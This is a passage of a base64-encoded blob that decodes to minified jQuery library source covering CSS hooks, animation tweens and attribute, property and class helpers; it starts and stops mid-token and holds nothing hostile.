PUZlKGUpLG89IXkuc2Nyb2xsYm94U2l6ZSgpJiYiYWJzb2x1dGUiPT09aS5wb3NpdGlvbixhPShvfHxuKSYmImJvcmRlci1ib3giPT09ay5jc3MoZSwiYm94U2l6aW5nIiwhMSxpKSxzPW4/ZXQoZSx1LG4sYSxpKTowO3JldHVybiBhJiZvJiYocy09TWF0aC5jZWlsKGVbIm9mZnNldCIrdVswXS50b1VwcGVyQ2FzZSgpK3Uuc2xpY2UoMSldLXBhcnNlRmxvYXQoaVt1XSktZXQoZSx1LCJib3JkZXIiLCExLGkpLS41KSkscyYmKHI9bmUuZXhlYyh0KSkmJiJweCIhPT0oclszXXx8InB4IikmJihlLnN0eWxlW3VdPXQsdD1rLmNzcyhlLHUpKSxaZSgwLHQscyl9fX0pLGsuY3NzSG9va3MubWFyZ2luTGVmdD16ZSh5LnJlbGlhYmxlTWFyZ2luTGVmdCxmdW5jdGlvbihlLHQpe2lmKHQpcmV0dXJuKHBhcnNlRmxvYXQoX2UoZSwibWFyZ2luTGVmdCIpKXx8ZS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKS5sZWZ0LXVlKGUse21hcmdpbkxlZnQ6MH0sZnVuY3Rpb24oKXtyZXR1cm4gZS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKS5sZWZ0fSkpKyJweCJ9KSxrLmVhY2goe21hcmdpbjoiIixwYWRkaW5nOiIiLGJvcmRlcjoiV2lkdGgifSxmdW5jdGlvbihpLG8pe2suY3NzSG9va3NbaStvXT17ZXhwYW5kOmZ1bmN0aW9uKGUpe2Zvcih2YXIgdD0wLG49e30scj0ic3RyaW5nIj09dHlwZW9mIGU/ZS5zcGxpdCgiICIpOltlXTt0PDQ7dCsrKW5baStyZVt0XStvXT1yW3RdfHxyW3QtMl18fHJbMF07cmV0dXJuIG59fSwibWFyZ2luIiE9PWkmJihrLmNzc0hvb2tzW2krb10uc2V0PVplKX0pLGsuZm4uZXh0ZW5kKHtjc3M6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gXyh0aGlzLGZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG89e30sYT0wO2lmKEFycmF5LmlzQXJyYXkodCkpe2ZvcihyPUZlKGUpLGk9dC5sZW5ndGg7YTxpO2ErKylvW3RbYV1dPWsuY3NzKGUsdFthXSwhMSxyKTtyZXR1cm4gb31yZXR1cm4gdm9pZCAwIT09bj9rLnN0eWxlKGUsdCxuKTprLmNzcyhlLHQpfSxlLHQsMTxhcmd1bWVudHMubGVuZ3RoKX19KSwoKGsuVHdlZW49bnQpLnByb3RvdHlwZT17Y29uc3RydWN0b3I6bnQsaW5pdDpmdW5jdGlvbihlLHQsbixyLGksbyl7dGhpcy5lbGVtPWUsdGhpcy5wcm9wPW4sdGhpcy5lYXNpbmc9aXx8ay5lYXNpbmcuX2RlZmF1bHQsdGhpcy5vcHRpb25zPXQsdGhpcy5zdGFydD10aGlzLm5vdz10aGlzLmN1cigpLHRoaXMuZW5kPXIsdGhpcy51bml0PW98fChrLmNzc051bWJlcltuXT8iIjoicHgiKX0sY3VyOmZ1bmN0aW9uKCl7dmFyIGU9bnQucHJvcEhvb2tzW3RoaXMucHJvcF07cmV0dXJuIGUmJmUuZ2V0P2UuZ2V0KHRoaXMpOm50LnByb3BIb29rcy5fZGVmYXVsdC5nZXQodGhpcyl9LHJ1bjpmdW5jdGlvbihlKXt2YXIgdCxuPW50LnByb3BIb29rc1t0aGlzLnByb3BdO3JldHVybiB0aGlzLm9wdGlvbnMuZHVyYXRpb24/dGhpcy5wb3M9dD1rLmVhc2luZ1t0aGlzLmVhc2luZ10oZSx0aGlzLm9wdGlvbnMuZHVyYXRpb24qZSwwLDEsdGhpcy5vcHRpb25zLmR1cmF0aW9uKTp0aGlzLnBvcz10PWUsdGhpcy5ub3c9KHRoaXMuZW5kLXRoaXMuc3RhcnQpKnQrdGhpcy5zdGFydCx0aGlzLm9wdGlvbnMuc3RlcCYmdGhpcy5vcHRpb25zLnN0ZXAuY2FsbCh0aGlzLmVsZW0sdGhpcy5ub3csdGhpcyksbiYmbi5zZXQ/bi5zZXQodGhpcyk6bnQucHJvcEhvb2tzLl9kZWZhdWx0LnNldCh0aGlzKSx0aGlzfX0pLmluaXQucHJvdG90eXBlPW50LnByb3RvdHlwZSwobnQucHJvcEhvb2tzPXtfZGVmYXVsdDp7Z2V0OmZ1bmN0aW9uKGUpe3ZhciB0O3JldHVybiAxIT09ZS5lbGVtLm5vZGVUeXBlfHxudWxsIT1lLmVsZW1bZS5wcm9wXSYmbnVsbD09ZS5lbGVtLnN0eWxlW2UucHJvcF0/ZS5lbGVtW2UucHJvcF06KHQ9ay5jc3MoZS5lbGVtLGUucHJvcCwiIikpJiYiYXV0byIhPT10P3Q6MH0sc2V0OmZ1bmN0aW9uKGUpe2suZnguc3RlcFtlLnByb3BdP2suZnguc3RlcFtlLnByb3BdKGUpOjEhPT1lLmVsZW0ubm9kZVR5cGV8fCFrLmNzc0hvb2tzW2UucHJvcF0mJm51bGw9PWUuZWxlbS5zdHlsZVtHZShlLnByb3ApXT9lLmVsZW1bZS5wcm9wXT1lLm5vdzprLnN0eWxlKGUuZWxlbSxlLnByb3AsZS5ub3crZS51bml0KX19fSkuc2Nyb2xsVG9wPW50LnByb3BIb29rcy5zY3JvbGxMZWZ0PXtzZXQ6ZnVuY3Rpb24oZSl7ZS5lbGVtLm5vZGVUeXBlJiZlLmVsZW0ucGFyZW50Tm9kZSYmKGUuZWxlbVtlLnByb3BdPWUubm93KX19LGsuZWFzaW5nPXtsaW5lYXI6ZnVuY3Rpb24oZSl7cmV0dXJuIGV9LHN3aW5nOmZ1bmN0aW9uKGUpe3JldHVybi41LU1hdGguY29zKGUqTWF0aC5QSSkvMn0sX2RlZmF1bHQ6InN3aW5nIn0say5meD1udC5wcm90b3R5cGUuaW5pdCxrLmZ4LnN0ZXA9e307dmFyIHJ0LGl0LG90LGF0LHN0PS9eKD86dG9nZ2xlfHNob3d8aGlkZSkkLyx1dD0vcXVldWVIb29rcyQvO2Z1bmN0aW9uIGx0KCl7aXQmJighMT09PUUuaGlkZGVuJiZDLnJlcXVlc3RBbmltYXRpb25GcmFtZT9DLnJlcXVlc3RBbmltYXRpb25GcmFtZShsdCk6Qy5zZXRUaW1lb3V0KGx0LGsuZnguaW50ZXJ2YWwpLGsuZngudGljaygpKX1mdW5jdGlvbiBjdCgpe3JldHVybiBDLnNldFRpbWVvdXQoZnVuY3Rpb24oKXtydD12b2lkIDB9KSxydD1EYXRlLm5vdygpfWZ1bmN0aW9uIGZ0KGUsdCl7dmFyIG4scj0wLGk9e2hlaWdodDplfTtmb3IodD10PzE6MDtyPDQ7cis9Mi10KWlbIm1hcmdpbiIrKG49cmVbcl0pXT1pWyJwYWRkaW5nIituXT1lO3JldHVybiB0JiYoaS5vcGFjaXR5PWkud2lkdGg9ZSksaX1mdW5jdGlvbiBwdChlLHQsbil7Zm9yKHZhciByLGk9KGR0LnR3ZWVuZXJzW3RdfHxbXSkuY29uY2F0KGR0LnR3ZWVuZXJzWyIqIl0pLG89MCxhPWkubGVuZ3RoO288YTtvKyspaWYocj1pW29dLmNhbGwobix0LGUpKXJldHVybiByfWZ1bmN0aW9uIGR0KG8sZSx0KXt2YXIgbixhLHI9MCxpPWR0LnByZWZpbHRlcnMubGVuZ3RoLHM9ay5EZWZlcnJlZCgpLmFsd2F5cyhmdW5jdGlvbigpe2RlbGV0ZSB1LmVsZW19KSx1PWZ1bmN0aW9uKCl7aWYoYSlyZXR1cm4hMTtmb3IodmFyIGU9cnR8fGN0KCksdD1NYXRoLm1heCgwLGwuc3RhcnRUaW1lK2wuZHVyYXRpb24tZSksbj0xLSh0L2wuZHVyYXRpb258fDApLHI9MCxpPWwudHdlZW5zLmxlbmd0aDtyPGk7cisrKWwudHdlZW5zW3JdLnJ1bihuKTtyZXR1cm4gcy5ub3RpZnlXaXRoKG8sW2wsbix0XSksbjwxJiZpP3Q6KGl8fHMubm90aWZ5V2l0aChvLFtsLDEsMF0pLHMucmVzb2x2ZVdpdGgobyxbbF0pLCExKX0sbD1zLnByb21pc2Uoe2VsZW06byxwcm9wczprLmV4dGVuZCh7fSxlKSxvcHRzOmsuZXh0ZW5kKCEwLHtzcGVjaWFsRWFzaW5nOnt9LGVhc2luZzprLmVhc2luZy5fZGVmYXVsdH0sdCksb3JpZ2luYWxQcm9wZXJ0aWVzOmUsb3JpZ2luYWxPcHRpb25zOnQsc3RhcnRUaW1lOnJ0fHxjdCgpLGR1cmF0aW9uOnQuZHVyYXRpb24sdHdlZW5zOltdLGNyZWF0ZVR3ZWVuOmZ1bmN0aW9uKGUsdCl7dmFyIG49ay5Ud2VlbihvLGwub3B0cyxlLHQsbC5vcHRzLnNwZWNpYWxFYXNpbmdbZV18fGwub3B0cy5lYXNpbmcpO3JldHVybiBsLnR3ZWVucy5wdXNoKG4pLG59LHN0b3A6ZnVuY3Rpb24oZSl7dmFyIHQ9MCxuPWU/bC50d2VlbnMubGVuZ3RoOjA7aWYoYSlyZXR1cm4gdGhpcztmb3IoYT0hMDt0PG47dCsrKWwudHdlZW5zW3RdLnJ1bigxKTtyZXR1cm4gZT8ocy5ub3RpZnlXaXRoKG8sW2wsMSwwXSkscy5yZXNvbHZlV2l0aChvLFtsLGVdKSk6cy5yZWplY3RXaXRoKG8sW2wsZV0pLHRoaXN9fSksYz1sLnByb3BzO2ZvcighZnVuY3Rpb24oZSx0KXt2YXIgbixyLGksbyxhO2ZvcihuIGluIGUpaWYoaT10W3I9VihuKV0sbz1lW25dLEFycmF5LmlzQXJyYXkobykmJihpPW9bMV0sbz1lW25dPW9bMF0pLG4hPT1yJiYoZVtyXT1vLGRlbGV0ZSBlW25dKSwoYT1rLmNzc0hvb2tzW3JdKSYmImV4cGFuZCJpbiBhKWZvcihuIGluIG89YS5leHBhbmQobyksZGVsZXRlIGVbcl0sbyluIGluIGV8fChlW25dPW9bbl0sdFtuXT1pKTtlbHNlIHRbcl09aX0oYyxsLm9wdHMuc3BlY2lhbEVhc2luZyk7cjxpO3IrKylpZihuPWR0LnByZWZpbHRlcnNbcl0uY2FsbChsLG8sYyxsLm9wdHMpKXJldHVybiBtKG4uc3RvcCkmJihrLl9xdWV1ZUhvb2tzKGwuZWxlbSxsLm9wdHMucXVldWUpLnN0b3A9bi5zdG9wLmJpbmQobikpLG47cmV0dXJuIGsubWFwKGMscHQsbCksbShsLm9wdHMuc3RhcnQpJiZsLm9wdHMuc3RhcnQuY2FsbChvLGwpLGwucHJvZ3Jlc3MobC5vcHRzLnByb2dyZXNzKS5kb25lKGwub3B0cy5kb25lLGwub3B0cy5jb21wbGV0ZSkuZmFpbChsLm9wdHMuZmFpbCkuYWx3YXlzKGwub3B0cy5hbHdheXMpLGsuZngudGltZXIoay5leHRlbmQodSx7ZWxlbTpvLGFuaW06bCxxdWV1ZTpsLm9wdHMucXVldWV9KSksbH1rLkFuaW1hdGlvbj1rLmV4dGVuZChkdCx7dHdlZW5lcnM6eyIqIjpbZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLmNyZWF0ZVR3ZWVuKGUsdCk7cmV0dXJuIGxlKG4uZWxlbSxlLG5lLmV4ZWModCksbiksbn1dfSx0d2VlbmVyOmZ1bmN0aW9uKGUsdCl7bShlKT8odD1lLGU9WyIqIl0pOmU9ZS5tYXRjaChSKTtmb3IodmFyIG4scj0wLGk9ZS5sZW5ndGg7cjxpO3IrKyluPWVbcl0sZHQudHdlZW5lcnNbbl09ZHQudHdlZW5lcnNbbl18fFtdLGR0LnR3ZWVuZXJzW25dLnVuc2hpZnQodCl9LHByZWZpbHRlcnM6W2Z1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYSxzLHUsbCxjLGY9IndpZHRoImluIHR8fCJoZWlnaHQiaW4gdCxwPXRoaXMsZD17fSxoPWUuc3R5bGUsZz1lLm5vZGVUeXBlJiZzZShlKSx2PVEuZ2V0KGUsImZ4c2hvdyIpO2ZvcihyIGluIG4ucXVldWV8fChudWxsPT0oYT1rLl9xdWV1ZUhvb2tzKGUsImZ4IikpLnVucXVldWVkJiYoYS51bnF1ZXVlZD0wLHM9YS5lbXB0eS5maXJlLGEuZW1wdHkuZmlyZT1mdW5jdGlvbigpe2EudW5xdWV1ZWR8fHMoKX0pLGEudW5xdWV1ZWQrKyxwLmFsd2F5cyhmdW5jdGlvbigpe3AuYWx3YXlzKGZ1bmN0aW9uKCl7YS51bnF1ZXVlZC0tLGsucXVldWUoZSwiZngiKS5sZW5ndGh8fGEuZW1wdHkuZmlyZSgpfSl9KSksdClpZihpPXRbcl0sc3QudGVzdChpKSl7aWYoZGVsZXRlIHRbcl0sbz1vfHwidG9nZ2xlIj09PWksaT09PShnPyJoaWRlIjoic2hvdyIpKXtpZigic2hvdyIhPT1pfHwhdnx8dm9pZCAwPT09dltyXSljb250aW51ZTtnPSEwfWRbcl09diYmdltyXXx8ay5zdHlsZShlLHIpfWlmKCh1PSFrLmlzRW1wdHlPYmplY3QodCkpfHwhay5pc0VtcHR5T2JqZWN0KGQpKWZvcihyIGluIGYmJjE9PT1lLm5vZGVUeXBlJiYobi5vdmVyZmxvdz1baC5vdmVyZmxvdyxoLm92ZXJmbG93WCxoLm92ZXJmbG93WV0sbnVsbD09KGw9diYmdi5kaXNwbGF5KSYmKGw9US5nZXQoZSwiZGlzcGxheSIpKSwibm9uZSI9PT0oYz1rLmNzcyhlLCJkaXNwbGF5IikpJiYobD9jPWw6KGZlKFtlXSwhMCksbD1lLnN0eWxlLmRpc3BsYXl8fGwsYz1rLmNzcyhlLCJkaXNwbGF5IiksZmUoW2VdKSkpLCgiaW5saW5lIj09PWN8fCJpbmxpbmUtYmxvY2siPT09YyYmbnVsbCE9bCkmJiJub25lIj09PWsuY3NzKGUsImZsb2F0IikmJih1fHwocC5kb25lKGZ1bmN0aW9uKCl7aC5kaXNwbGF5PWx9KSxudWxsPT1sJiYoYz1oLmRpc3BsYXksbD0ibm9uZSI9PT1jPyIiOmMpKSxoLmRpc3BsYXk9ImlubGluZS1ibG9jayIpKSxuLm92ZXJmbG93JiYoaC5vdmVyZmxvdz0iaGlkZGVuIixwLmFsd2F5cyhmdW5jdGlvbigpe2gub3ZlcmZsb3c9bi5vdmVyZmxvd1swXSxoLm92ZXJmbG93WD1uLm92ZXJmbG93WzFdLGgub3ZlcmZsb3dZPW4ub3ZlcmZsb3dbMl19KSksdT0hMSxkKXV8fCh2PyJoaWRkZW4iaW4gdiYmKGc9di5oaWRkZW4pOnY9US5hY2Nlc3MoZSwiZnhzaG93Iix7ZGlzcGxheTpsfSksbyYmKHYuaGlkZGVuPSFnKSxnJiZmZShbZV0sITApLHAuZG9uZShmdW5jdGlvbigpe2ZvcihyIGluIGd8fGZlKFtlXSksUS5yZW1vdmUoZSwiZnhzaG93IiksZClrLnN0eWxlKGUscixkW3JdKX0pKSx1PXB0KGc/dltyXTowLHIscCksciBpbiB2fHwodltyXT11LnN0YXJ0LGcmJih1LmVuZD11LnN0YXJ0LHUuc3RhcnQ9MCkpfV0scHJlZmlsdGVyOmZ1bmN0aW9uKGUsdCl7dD9kdC5wcmVmaWx0ZXJzLnVuc2hpZnQoZSk6ZHQucHJlZmlsdGVycy5wdXNoKGUpfX0pLGsuc3BlZWQ9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPWUmJiJvYmplY3QiPT10eXBlb2YgZT9rLmV4dGVuZCh7fSxlKTp7Y29tcGxldGU6bnx8IW4mJnR8fG0oZSkmJmUsZHVyYXRpb246ZSxlYXNpbmc6biYmdHx8dCYmIW0odCkmJnR9O3JldHVybiBrLmZ4Lm9mZj9yLmR1cmF0aW9uPTA6Im51bWJlciIhPXR5cGVvZiByLmR1cmF0aW9uJiYoci5kdXJhdGlvbiBpbiBrLmZ4LnNwZWVkcz9yLmR1cmF0aW9uPWsuZnguc3BlZWRzW3IuZHVyYXRpb25dOnIuZHVyYXRpb249ay5meC5zcGVlZHMuX2RlZmF1bHQpLG51bGwhPXIucXVldWUmJiEwIT09ci5xdWV1ZXx8KHIucXVldWU9ImZ4Iiksci5vbGQ9ci5jb21wbGV0ZSxyLmNvbXBsZXRlPWZ1bmN0aW9uKCl7bShyLm9sZCkmJnIub2xkLmNhbGwodGhpcyksci5xdWV1ZSYmay5kZXF1ZXVlKHRoaXMsci5xdWV1ZSl9LHJ9LGsuZm4uZXh0ZW5kKHtmYWRlVG86ZnVuY3Rpb24oZSx0LG4scil7cmV0dXJuIHRoaXMuZmlsdGVyKHNlKS5jc3MoIm9wYWNpdHkiLDApLnNob3coKS5lbmQoKS5hbmltYXRlKHtvcGFjaXR5OnR9LGUsbixyKX0sYW5pbWF0ZTpmdW5jdGlvbih0LGUsbixyKXt2YXIgaT1rLmlzRW1wdHlPYmplY3QodCksbz1rLnNwZWVkKGUsbixyKSxhPWZ1bmN0aW9uKCl7dmFyIGU9ZHQodGhpcyxrLmV4dGVuZCh7fSx0KSxvKTsoaXx8US5nZXQodGhpcywiZmluaXNoIikpJiZlLnN0b3AoITApfTtyZXR1cm4gYS5maW5pc2g9YSxpfHwhMT09PW8ucXVldWU/dGhpcy5lYWNoKGEpOnRoaXMucXVldWUoby5xdWV1ZSxhKX0sc3RvcDpmdW5jdGlvbihpLGUsbyl7dmFyIGE9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5zdG9wO2RlbGV0ZSBlLnN0b3AsdChvKX07cmV0dXJuInN0cmluZyIhPXR5cGVvZiBpJiYobz1lLGU9aSxpPXZvaWQgMCksZSYmITEhPT1pJiZ0aGlzLnF1ZXVlKGl8fCJmeCIsW10pLHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBlPSEwLHQ9bnVsbCE9aSYmaSsicXVldWVIb29rcyIsbj1rLnRpbWVycyxyPVEuZ2V0KHRoaXMpO2lmKHQpclt0XSYmclt0XS5zdG9wJiZhKHJbdF0pO2Vsc2UgZm9yKHQgaW4gcilyW3RdJiZyW3RdLnN0b3AmJnV0LnRlc3QodCkmJmEoclt0XSk7Zm9yKHQ9bi5sZW5ndGg7dC0tOyluW3RdLmVsZW0hPT10aGlzfHxudWxsIT1pJiZuW3RdLnF1ZXVlIT09aXx8KG5bdF0uYW5pbS5zdG9wKG8pLGU9ITEsbi5zcGxpY2UodCwxKSk7IWUmJm98fGsuZGVxdWV1ZSh0aGlzLGkpfSl9LGZpbmlzaDpmdW5jdGlvbihhKXtyZXR1cm4hMSE9PWEmJihhPWF8fCJmeCIpLHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBlLHQ9US5nZXQodGhpcyksbj10W2ErInF1ZXVlIl0scj10W2ErInF1ZXVlSG9va3MiXSxpPWsudGltZXJzLG89bj9uLmxlbmd0aDowO2Zvcih0LmZpbmlzaD0hMCxrLnF1ZXVlKHRoaXMsYSxbXSksciYmci5zdG9wJiZyLnN0b3AuY2FsbCh0aGlzLCEwKSxlPWkubGVuZ3RoO2UtLTspaVtlXS5lbGVtPT09dGhpcyYmaVtlXS5xdWV1ZT09PWEmJihpW2VdLmFuaW0uc3RvcCghMCksaS5zcGxpY2UoZSwxKSk7Zm9yKGU9MDtlPG87ZSsrKW5bZV0mJm5bZV0uZmluaXNoJiZuW2VdLmZpbmlzaC5jYWxsKHRoaXMpO2RlbGV0ZSB0LmZpbmlzaH0pfX0pLGsuZWFjaChbInRvZ2dsZSIsInNob3ciLCJoaWRlIl0sZnVuY3Rpb24oZSxyKXt2YXIgaT1rLmZuW3JdO2suZm5bcl09ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBudWxsPT1lfHwiYm9vbGVhbiI9PXR5cGVvZiBlP2kuYXBwbHkodGhpcyxhcmd1bWVudHMpOnRoaXMuYW5pbWF0ZShmdChyLCEwKSxlLHQsbil9fSksay5lYWNoKHtzbGlkZURvd246ZnQoInNob3ciKSxzbGlkZVVwOmZ0KCJoaWRlIiksc2xpZGVUb2dnbGU6ZnQoInRvZ2dsZSIpLGZhZGVJbjp7b3BhY2l0eToic2hvdyJ9LGZhZGVPdXQ6e29wYWNpdHk6ImhpZGUifSxmYWRlVG9nZ2xlOntvcGFjaXR5OiJ0b2dnbGUifX0sZnVuY3Rpb24oZSxyKXtrLmZuW2VdPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdGhpcy5hbmltYXRlKHIsZSx0LG4pfX0pLGsudGltZXJzPVtdLGsuZngudGljaz1mdW5jdGlvbigpe3ZhciBlLHQ9MCxuPWsudGltZXJzO2ZvcihydD1EYXRlLm5vdygpO3Q8bi5sZW5ndGg7dCsrKShlPW5bdF0pKCl8fG5bdF0hPT1lfHxuLnNwbGljZSh0LS0sMSk7bi5sZW5ndGh8fGsuZnguc3RvcCgpLHJ0PXZvaWQgMH0say5meC50aW1lcj1mdW5jdGlvbihlKXtrLnRpbWVycy5wdXNoKGUpLGsuZnguc3RhcnQoKX0say5meC5pbnRlcnZhbD0xMyxrLmZ4LnN0YXJ0PWZ1bmN0aW9uKCl7aXR8fChpdD0hMCxsdCgpKX0say5meC5zdG9wPWZ1bmN0aW9uKCl7aXQ9bnVsbH0say5meC5zcGVlZHM9e3Nsb3c6NjAwLGZhc3Q6MjAwLF9kZWZhdWx0OjQwMH0say5mbi5kZWxheT1mdW5jdGlvbihyLGUpe3JldHVybiByPWsuZngmJmsuZnguc3BlZWRzW3JdfHxyLGU9ZXx8ImZ4Iix0aGlzLnF1ZXVlKGUsZnVuY3Rpb24oZSx0KXt2YXIgbj1DLnNldFRpbWVvdXQoZSxyKTt0LnN0b3A9ZnVuY3Rpb24oKXtDLmNsZWFyVGltZW91dChuKX19KX0sb3Q9RS5jcmVhdGVFbGVtZW50KCJpbnB1dCIpLGF0PUUuY3JlYXRlRWxlbWVudCgic2VsZWN0IikuYXBwZW5kQ2hpbGQoRS5jcmVhdGVFbGVtZW50KCJvcHRpb24iKSksb3QudHlwZT0iY2hlY2tib3giLHkuY2hlY2tPbj0iIiE9PW90LnZhbHVlLHkub3B0U2VsZWN0ZWQ9YXQuc2VsZWN0ZWQsKG90PUUuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkudmFsdWU9InQiLG90LnR5cGU9InJhZGlvIix5LnJhZGlvVmFsdWU9InQiPT09b3QudmFsdWU7dmFyIGh0LGd0PWsuZXhwci5hdHRySGFuZGxlO2suZm4uZXh0ZW5kKHthdHRyOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIF8odGhpcyxrLmF0dHIsZSx0LDE8YXJndW1lbnRzLmxlbmd0aCl9LHJlbW92ZUF0dHI6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe2sucmVtb3ZlQXR0cih0aGlzLGUpfSl9fSksay5leHRlbmQoe2F0dHI6ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz1lLm5vZGVUeXBlO2lmKDMhPT1vJiY4IT09byYmMiE9PW8pcmV0dXJuInVuZGVmaW5lZCI9PXR5cGVvZiBlLmdldEF0dHJpYnV0ZT9rLnByb3AoZSx0LG4pOigxPT09byYmay5pc1hNTERvYyhlKXx8KGk9ay5hdHRySG9va3NbdC50b0xvd2VyQ2FzZSgpXXx8KGsuZXhwci5tYXRjaC5ib29sLnRlc3QodCk/aHQ6dm9pZCAwKSksdm9pZCAwIT09bj9udWxsPT09bj92b2lkIGsucmVtb3ZlQXR0cihlLHQpOmkmJiJzZXQiaW4gaSYmdm9pZCAwIT09KHI9aS5zZXQoZSxuLHQpKT9yOihlLnNldEF0dHJpYnV0ZSh0LG4rIiIpLG4pOmkmJiJnZXQiaW4gaSYmbnVsbCE9PShyPWkuZ2V0KGUsdCkpP3I6bnVsbD09KHI9ay5maW5kLmF0dHIoZSx0KSk/dm9pZCAwOnIpfSxhdHRySG9va3M6e3R5cGU6e3NldDpmdW5jdGlvbihlLHQpe2lmKCF5LnJhZGlvVmFsdWUmJiJyYWRpbyI9PT10JiZBKGUsImlucHV0Iikpe3ZhciBuPWUudmFsdWU7cmV0dXJuIGUuc2V0QXR0cmlidXRlKCJ0eXBlIix0KSxuJiYoZS52YWx1ZT1uKSx0fX19fSxyZW1vdmVBdHRyOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj0wLGk9dCYmdC5tYXRjaChSKTtpZihpJiYxPT09ZS5ub2RlVHlwZSl3aGlsZShuPWlbcisrXSllLnJlbW92ZUF0dHJpYnV0ZShuKX19KSxodD17c2V0OmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4hMT09PXQ/ay5yZW1vdmVBdHRyKGUsbik6ZS5zZXRBdHRyaWJ1dGUobixuKSxufX0say5lYWNoKGsuZXhwci5tYXRjaC5ib29sLnNvdXJjZS5tYXRjaCgvXHcrL2cpLGZ1bmN0aW9uKGUsdCl7dmFyIGE9Z3RbdF18fGsuZmluZC5hdHRyO2d0W3RdPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG89dC50b0xvd2VyQ2FzZSgpO3JldHVybiBufHwoaT1ndFtvXSxndFtvXT1yLHI9bnVsbCE9YShlLHQsbik/bzpudWxsLGd0W29dPWkpLHJ9fSk7dmFyIHZ0PS9eKD86aW5wdXR8c2VsZWN0fHRleHRhcmVhfGJ1dHRvbikkL2kseXQ9L14oPzphfGFyZWEpJC9pO2Z1bmN0aW9uIG10KGUpe3JldHVybihlLm1hdGNoKFIpfHxbXSkuam9pbigiICIpfWZ1bmN0aW9uIHh0KGUpe3JldHVybiBlLmdldEF0dHJpYnV0ZSYmZS5nZXRBdHRyaWJ1dGUoImNsYXNzIil8fCIifWZ1bmN0aW9uIGJ0KGUpe3JldHVybiBBcnJheS5pc0FycmF5KGUpP2U6InN0cmluZyI9PXR5cGVvZiBlJiZlLm1hdGNoKFIpfHxbXX1rLmZuLmV4dGVuZCh7cHJvcDpmdW5jdGlvbihlLHQpe3JldHVybiBfKHRoaXMsay5wcm9wLGUsdCwxPGFyZ3VtZW50cy5sZW5ndGgpfSxyZW1vdmVQcm9wOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtkZWxldGUgdGhpc1trLnByb3BGaXhbZV18fGVdfSl9fSksay5leHRlbmQoe3Byb3A6ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz1lLm5vZGVUeXBlO2lmKDMhPT1vJiY4IT09byYmMiE9PW8pcmV0dXJuIDE9PT1vJiZrLmlzWE1MRG9jKGUpfHwodD1rLnByb3BGaXhbdF18fHQsaT1rLnByb3BIb29rc1t0XSksdm9pZCAwIT09bj9pJiYic2V0ImluIGkmJnZvaWQgMCE9PShyPWkuc2V0KGUsbix0KSk/cjplW3RdPW46aSYmImdldCJpbiBpJiZudWxsIT09KHI9aS5nZXQoZSx0KSk/cjplW3RdfSxwcm9wSG9va3M6e3RhYkluZGV4OntnZXQ6ZnVuY3Rpb24oZSl7dmFyIHQ9ay5maW5kLmF0dHIoZSwidGFiaW5kZXgiKTtyZXR1cm4gdD9wYXJzZUludCh0LDEwKTp2dC50ZXN0KGUubm9kZU5hbWUpfHx5dC50ZXN0KGUubm9kZU5hbWUpJiZlLmhyZWY/MDotMX19fSxwcm9wRml4OnsiZm9yIjoiaHRtbEZvciIsImNsYXNzIjoiY2xhc3NOYW1lIn19KSx5Lm9wdFNlbGVjdGVkfHwoay5wcm9wSG9va3Muc2VsZWN0ZWQ9e2dldDpmdW5jdGlvbihlKXt2YXIgdD1lLnBhcmVudE5vZGU7cmV0dXJuIHQmJnQucGFyZW50Tm9kZSYmdC5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgsbnVsbH0sc2V0OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTt0JiYodC5zZWxlY3RlZEluZGV4LHQucGFyZW50Tm9kZSYmdC5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgpfX0pLGsuZWFjaChbInRhYkluZGV4IiwicmVhZE9ubHkiLCJtYXhMZW5ndGgiLCJjZWxsU3BhY2luZyIsImNlbGxQYWRkaW5nIiwicm93U3BhbiIsImNvbFNwYW4iLCJ1c2VNYXAiLCJmcmFtZUJvcmRlciIsImNvbnRlbnRFZGl0YWJsZSJdLGZ1bmN0aW9uKCl7ay5wcm9wRml4W3RoaXMudG9Mb3dlckNhc2UoKV09dGhpc30pLGsuZm4uZXh0ZW5kKHthZGRDbGFzczpmdW5jdGlvbih0KXt2YXIgZSxuLHIsaSxvLGEscyx1PTA7aWYobSh0KSlyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGUpe2sodGhpcykuYWRkQ2xhc3ModC5jYWxsKHRoaXMsZSx4dCh0aGlzKSkpfSk7aWYoKGU9YnQodCkpLmxlbmd0aCl3aGlsZShuPXRoaXNbdSsrXSlpZihpPXh0KG4pLHI9MT09PW4ubm9kZVR5cGUmJiIgIittdChpKSsiICIpe2E9MDt3aGlsZShvPWVbYSsrXSlyLmluZGV4T2YoIiAiK28rIiAiKTwwJiYocis9bysiICIpO2khPT0ocz1tdChyKSkmJm4uc2V0QXR0cmlidXRlKCJjbGFzcyIscyl9cmV0dXJuIHRoaXN9LHJlbW92ZUNsYXNzOmZ1bmN0aW9uKHQpe3ZhciBlLG4scixpLG8sYSxzLHU9MDtpZihtKHQpKXJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZSl7ayh0aGlzKS5yZW1vdmVDbGFzcyh0LmNhbGwodGhpcyxlLHh0KHRoaXMpKSl9KTtpZighYXJndW1lbnRzLmxlbmd0aClyZXR1cm4gdGhpcy5hdHRyKCJjbGFzcyIsIiIpO2lmKChlPWJ0KHQpKS5sZW5ndGgpd2hpbGUobj10aGlzW3UrK10paWYo